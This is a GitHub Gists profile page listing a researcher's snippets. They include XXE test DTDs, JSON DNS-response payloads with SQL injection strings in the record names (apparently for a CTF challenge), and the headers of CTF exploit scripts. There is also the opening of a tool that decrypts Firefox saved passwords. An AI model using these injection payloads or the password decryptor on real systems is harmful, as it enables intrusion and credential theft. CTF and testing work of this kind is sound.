Skip to content

Instantly share code, notes, and snippets.

View n-WN's full-sized avatar
:shipit:
~DevSecOps~ AI

Zoee n-WN

:shipit:
~DevSecOps~ AI
287 followers · 230 following
View GitHub Profile
@n-WN
n-WN / gist:4dc1477cc61bacaa4edd3d5ec6de948e
Created May 17, 2026 13:57
ATTLIST DTD test
<!ATTLIST svg width CDATA "REMOTE-ATTLIST-WORKS">
@n-WN
n-WN / gist:4257c29283272b6dd0f548a4aa18d8b7
Created May 17, 2026 13:55
Simple DTD test
<!ENTITY c "GITHUB-DTD-LOADED">
@n-WN
n-WN / gist:00736b8b9f2dadab0300c0b8402fb593
Last active May 17, 2026 13:54
XXE DTD for testing
<!ENTITY c "GITHUB-DTD-LOADED">
@n-WN
n-WN / simple-payload-4.json
Created May 16, 2026 20:18
{"Status": 0, "Answer": [{"name": "trust-issues.tjc.tf.', 1, 300, 9999999999, '23.138.76.44') -- ", "type": 1, "TTL": 300, "data": "1.2.3.4"}]}
@n-WN
n-WN / payload-4.json
Created May 16, 2026 20:16
{"Status": 0, "Answer": [{"name": "trust-issues.tjc.tf.', 1, 300, 9999999999, '23.138.76.44') -- ", "type": 1, "TTL": 300, "data": "1.2.3.4"}, {"name": "trust-issues.tjc.tf.', 1, 17, 3, 300, 1778958830, 1779567230, 13534, 'trust-issues.tjc.tf.', 'rRjAHqSjNBhusVxJOgT8Qj7rbv6xsjenh/wJdjLFBJq0ZZg6/I1WsGbI7rVpxGBkjwMd59lEvU9a1uJdgORqCr0PMlQF6AX/pclT3D1xchTJ+JM28IJgaod+LK0iC7yuoP20lJfwPPawORMRKaVPx5wD5EyB633SPqsbDRrxN8KMxSI+', 9999999999) -- ", "type": 46, "TTL": 300, "data": "a 17 3 300 1779567230 1778958830 13534 trust-issues.tjc.tf. rRjAHqSjNBhusVxJOgT8Qj7rbv6xsjenh/wJdjLFBJq0ZZg6/I1WsGbI7rVpxGBkjwMd59lEvU9a1uJdgORqCr0PMlQF6AX/pclT3D1xchTJ+JM28IJgaod+LK0iC7yuoP20lJfwPPawORMRKaVPx5wD5EyB633SPqsbDRrxN8KMxSI+"}]}
@n-WN
n-WN / statusline-command.sh
Last active March 31, 2026 21:31
Claude Code custom statusline — shows rate limits, corrected cost, git branch, session duration
#!/bin/bash
# Claude Code custom statusline
# Shows: user@host:path branch [model] ctx% $cost duration 5h/7d quota Sonnet flag
#
# Setup:
# 1. Save this file to ~/.claude/statusline-command.sh
# 2. Add to ~/.claude/settings.json:
# {
# "statusLine": {
# "type": "command",
@n-WN
n-WN / kitty.conf
Created March 16, 2026 08:31
kitty terminal config backup
# Kitty 最小边框配置
# hide_window_decorations 控制窗口装饰
# titlebar-only: 只隐藏标题栏文字，保留控制按钮和可拖动区域
# yes: 完全隐藏所有装饰（无法拖动）
# no: 显示完整标题栏
# Kitty 远程控制
allow_remote_control yes
listen_on unix:/tmp/kitty-rc
hide_window_decorations titlebar-only
@n-WN
n-WN / test.py
Created March 14, 2026 08:24
AliCTF 2026 Final - RSA factorization via genus-2 Jacobian GCD leak
#!/usr/bin/env python3
import argparse
import time
from math import gcd, isqrt
"""Attack the special RSA where q = ((p - 1)^2 + 4x^2) / 8 and p = x^2 + 2y^2.
The key observation behind the attack is that the explicit divisor
D = (X^2 + 3X + 2, w(X + 1)), w^2 = -30
@n-WN
n-WN / exploit.py
Created March 14, 2026 08:24
AliCTF 2026 Final - Kitten Sign exploit (RSA + ECDSA + SM2 triple signature forgery)
#!/usr/bin/env python3
"""
Kitten Sign - Full Exploit
AliyunCTF 2026 Final
Attack chain:
1. Collect encrypt samples, recover RSA modulus & SM2 public key
2. Factor RSA via genus-2 Jacobian (call test.py)
3. Precompute BKZ-25 lattice basis (call sage subprocess)
4. Invalid-curve oracle: forge decrypt commands to recover SM2 private key via CRT
@n-WN
n-WN / firefox_decrypt_logins.py
Created March 12, 2026 13:21
Firefox Saved Passwords Decryptor — PBES2/PBKDF2/AES-256-CBC (key4.db + logins.json)
#!/usr/bin/env python3
"""
Firefox Saved Passwords Decryptor
Decrypt saved logins from Firefox profile backup (logins.json + key4.db).
Supports Firefox profiles using PBES2 + PBKDF2-HMAC-SHA256 + AES-256-CBC.
Requirements:
pip install pycryptodome pyasn1